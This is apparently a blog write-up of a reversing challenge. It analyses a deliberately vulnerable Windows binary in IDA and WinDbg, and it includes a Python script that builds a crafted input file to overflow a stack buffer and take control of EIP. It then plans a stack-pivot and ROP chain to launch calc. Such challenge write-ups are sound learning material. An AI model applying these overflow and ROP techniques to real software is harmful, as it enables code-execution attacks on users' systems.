The Ricardo Narvaja’s challenge aims to learn about IDA Pro, and use it as much as possible. The challenge can be found here and I modified the IDB for a better understanding.
This challenge interacts with a file called fichero.dat
, read and store in local variables (struct). Since is a small file, I can infer that there is a buffer overflow vulnerability on stack in that struct (created in the IDB for me).
1 2 3 4 5 6 7 8 9 10 11 12 |
00000000 estructura struc ; (sizeof=0x52, mappedto_30) ; XREF: main/r 00000000 ; FF00009F/o 00000000 p_bytes_to_read dd ? ; XREF: vul_func+26/r main+DD/w 00000004 bytes_to_read dd ? ; XREF: main+1B/w main+67/o ... 00000008 cookie2 dd ? ; XREF: main+D/w main+81/o 0000000C reads dd ? ; XREF: vul_func+41/w main+74/w ... 00000010 cookie dd ? ; XREF: main+14/w main+9C/o ... 00000014 maxsize dd ? ; XREF: main+6/w main+B0/r 00000018 p_system dd ? ; XREF: vul_func+14/r main+E6/w ... 0000001C mem_alloc dd ? ; XREF: main+104/w main+107/r 00000020 buffer db 48 dup(?) ; XREF: vul_func+31/o 00000052 estructura ends |
I’ll show the main pseudocode.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax@2 void *v4; // eax@7 struct estructura mi_estructura; // [sp+0h] [bp-58h]@1 struct estructura *p_mi_estructura; // [sp+54h] [bp-4h]@3 mi_estructura.maxsize = 50; mi_estructura.cookie2 = 0; mi_estructura.cookie = 0; LOBYTE(mi_estructura.bytes_to_read) = 0; File = fopen("fichero.dat", "rb"); if ( File ) { p_mi_estructura = &mi_estructura; mi_estructura.reads = fread(&mi_estructura.bytes_to_read, 1u, 1u, File); mi_estructura.reads = fread(&mi_estructura.cookie2, 1u, 4u, File); mi_estructura.reads = fread(&mi_estructura.cookie, 1u, 4u, File); if ( SLOBYTE(mi_estructura.bytes_to_read) <= mi_estructura.maxsize ) { printf("%08x size :%08x\n", SLOBYTE(mi_estructura.bytes_to_read)); mi_estructura.p_bytes_to_read = (int)&mi_estructura.bytes_to_read; mi_estructura.p_system = (int)system; if ( mi_estructura.cookie != 623257384 ) mi_estructura.p_system = (int)printf; v4 = malloc(0x32u); mi_estructura.mem_alloc = (int)v4; MemoryAlloc = (int)v4; vul_func(p_mi_estructura); result = 0; } else { perror("Nos fuimos al ******\n"); //censured result = -1; } } else { perror("No se puede abrir fichero.dat"); result = -1; } return result; } |
byte_to_read
must be less or equal than max_size, that comparison is interesting because if byte_to_read
is a negative number, the condition is met and it continues executing, so if I see the vul_fun
function, I can see it is used for reading the file fichero.dat
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
void __cdecl vul_func(struct estructura *mi_estructura) { int v1; // edi@2 if ( mi_estructura->cookie2 == 1162233672 ) { p_system = mi_estructura->p_system; mi_estructura->reads = fread(mi_estructura->buffer, 1u, *(_BYTE *)mi_estructura->p_bytes_to_read, File); v1 = MemoryAlloc; qmemcpy((void *)MemoryAlloc, mi_estructura->buffer, 0x30u); *(_WORD *)(v1 + 0x30) = *(_WORD *)&mi_estructura->buffer[0x30]; } check_bytes_reads(mi_estructura); } |
So, if I write in byte_to_read
the number -1
(0xFF
) it will cause a buffer overflow on stack based, but first it needs to bypass all checks in the code. In that function, there is a check, it verifies whether cookie2
is equal 1162233672
(0x45464748
). In the epilogue there is also a function called check_bytes_reads
which aim is checking whether the bytes read in vul_func
are 0x64 bytes.
1 2 3 4 5 |
void __cdecl check_bytes_reads(struct estructura *mi_estructura) { if ( mi_estructura->reads != 100 ) exit(1); } |
The bytes reading wich causes a buffer overflow is limited to 0x64 bytes. Now, there is another check in main.
24 25 |
if ( mi_estructura.cookie != 623257384 ) mi_estructura.p_system = (int)printf; |
In this case the system pointer is stored in p_system
field, it’s not necessary bypass it, but I think in the next challenges could be necessary for exploitation.
So, with the next three lines and the 64 bytes reading after those bytes, I can bypass all checks.
1 2 3 |
byte_to_read = '\xFF' canary = p32(0x25262728) canary2 = p32(0x45464748) |
Exploit
In the local variable main function.
1 2 3 4 5 6 7 8 9 10 11 |
-00000058 mi_estructura estructura ? -00000008 db ? ; undefined -00000007 db ? ; undefined -00000006 db ? ; undefined -00000005 db ? ; undefined -00000004 p_mi_estructura dd ? ; offset +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 argc dd ? +0000000C argv dd ? ; offset +00000010 envp dd ? ; offset |
The size of mi_estructura.buffer is 0x30 bytes, + 0xC bytes = return address. So, it reads 0x64 – 0x28 = 0x3C bytes, I can overwrite the return address.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
import struct p32 = lambda x : struct.pack('<L', x) byte_to_read = '\xFF' canary = p32(0x25262728) canary2 = p32(0x45464748) junk = 'A'*(0x64 - 0x28) # 0x3C overwrite = 'B'*4 junk += overwrite + 'C'*(0x64 - (len(junk)+4)) # 0x24 estructura = byte_to_read + canary2 + canary payload = estructura + junk open('fichero.dat', 'wb').write(payload) |
And…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
0:000> g 10101201 eax=00000000 ebx=7ffdf000 ecx=00000000 edx=0012fee4 esi=66fce76c edi=66fce0f4 eip=10101201 esp=0012ff40 ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 *** WARNING: Unable to verify checksum for ConsoleApplication1.exe *** ERROR: Module load completed but symbols could not be loaded for ConsoleApplication1.exe ConsoleApplication1+0x1201: 10101201 c3 ret 0:000> dd esp 0012ff40 42424242 43434343 43434343 43434343 0012ff50 43434343 43434343 43434343 43434343 0012ff60 43434343 43434343 00000000 00000000 0012ff70 0012ff54 00000028 0012ffc4 10101a6b 0012ff80 5353cd16 00000000 0012ff94 76253c45 0012ff90 7ffdf000 0012ffd4 772937f5 7ffdf000 0012ffa0 7627782a 00000000 00000000 7ffdf000 0012ffb0 00000000 00000000 00000000 0012ffa0 0:000> t eax=00000000 ebx=7ffdf000 ecx=00000000 edx=0012fee4 esi=66fce76c edi=66fce0f4 eip=42424242 esp=0012ff44 ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 42424242 ?? |
Now I have made the ROP, but if I look at the stack, there are only 28 bytes, and it needs first an stack pivot. How? Using mnemonics such as: sub esp, r32
; xchg esp, r32
; etc. In this case, the unique option is sub esp, r32
, because I don’t have the stack virtual address.
I try using mona.py.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
[+] This mona.py action took 0:00:31.294000 0:000> !py mona findwild -s "sub esp, r32#*#retn" -b 0x10100000 -t 0x10106000 Hold on... [+] Command used: !py C:\Program Files\Debugging Tools for Windows (x86)\mona.py findwild -s sub esp, r32#*#retn -b 0x10100000 -t 0x10106000 ---------- Mona command started on 2017-05-08 11:53:05 (v2.0, rev 570) ---------- [+] Processing arguments and criteria - Pointer access level : X [+] Type of search: str [+] Searching for matches up to 8 instructions deep [+] Started search (12 start patterns) [+] Searching startpattern between 0x10100000 and 0x10106000 ^ Couldn't resolve '!py mona findwild -s "sub esp, r32#*#retn" -b 0x10100000 -t 0x10106000' ** Unable to process searchPattern 'sub esp,eip'. ** [+] Preparing output file 'findwild.txt' - (Re)setting logfile findwild.txt [+] Generating module info table, hang on... - Processing modules - Done. Let's rock 'n roll. Found a total of 0 pointers [+] This mona.py action took 0:00:04.258000 |
Later, I used the IDA string search functionality (it’s necessary searching with spaces between the mnemonic and operands).
And I found only one gadget for stack pivoting at 0x10101A28
, but there are another mnemonics in the middle, then I have to keep it in mind using that gadget.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
.text:10101A28 sub esp, eax .text:10101A2A push ebx .text:10101A2B push esi .text:10101A2C push edi .text:10101A2D mov eax, ___security_cookie .text:10101A32 xor [ebp-4], eax .text:10101A35 xor eax, ebp .text:10101A37 push eax .text:10101A38 mov [ebp-18h], esp .text:10101A3B push dword ptr [ebp-8] .text:10101A3E mov eax, [ebp-4] .text:10101A41 mov dword ptr [ebp-4], 0FFFFFFFEh .text:10101A48 mov [ebp-8], eax .text:10101A4B lea eax, [ebp-10h] .text:10101A4E mov large fs:0, eax .text:10101A54 repne retn |
But. Why no gadget was found using mona or idasploiter?
If I assemble “sub esp, eax” in mona:
1 2 3 4 5 6 7 8 9 |
0:000> !py mona asm -s "sub esp, eax" [+] This mona.py action took 0:00:00 Hold on... [+] Command used: !py C:\Program Files\Debugging Tools for Windows (x86)\mona.py asm -s sub esp, eax Opcode results : ---------------- sub esp, eax = \x29\xc4 Full opcode : \x29\xc4 |
And, the gadget.
1 2 |
0:000> db 10101A28 L?2 10101a28 2b e0 +. |
Again. Why? Ask processor designers hehe.
There many opcodes for the same instruction, in this case, the opcode 2b e0
and 29 c4
, is sub esp, eax
.
This gadget is awful, I need first initialize any register for survive in the execution.
I have:
- A stack pivot, setting EAX for that purpose.
- Four PUSH with EBX, ESI, EDI, and EAX which modified stack and the stack pivot.
- Operation with the EBP content, where EBP register is an address memory.
- The last PUSH (push dword ptr [ebp-8]), is the current return address.
I will:
- Set EAX for the stack pivot. The stack point at rop chain (start of buffer).
- Set EBP with an address memory valid.
- Set [EBP-8], with memory address valid, which get the three push (see the instructions from 0x10101A2B to 10101A2c and 0x10101A37), and again the stack point at rop chain.
The stack should look like this.
When the last gadget is executed, the push dword ptr [ebp-8] instruction contains another gadget (0x10101092) which cleans the stack . Finally the stack points to the buffer start.
So, I need to write into that buffer another ropchain for executing a calc.
The gadget at 0x101013B8 is in _start
, that mean calc execution loop, because main
is called from _start
function. If I use the gadget at 0x101019C5, the calc will execute only once.
Another interesting point here is the CFG in the two gadgets. For example:
1 2 3 4 5 6 7 |
.text:101013B4 push edi .text:101013B5 push 2 .text:101013B7 push edi .text:101013B8 mov esi, [esi] .text:101013BA mov ecx, esi .text:101013BC call j____guard_check_icall_fptr .text:101013C1 call esi |
In this case, CFG is disabled. Why? I quote from MSDN.
This feature is available in Microsoft Visual Studio 2015, and runs on “CFG-Aware” versions of Windows—the x86 and x64 releases for Desktop and Server of Windows 10 and Windows 8.1 Update (KB3000850).
And… executing the exploit! 😀
PD: I used w7 x86.
Regards,
Noxi !
No Comments Yet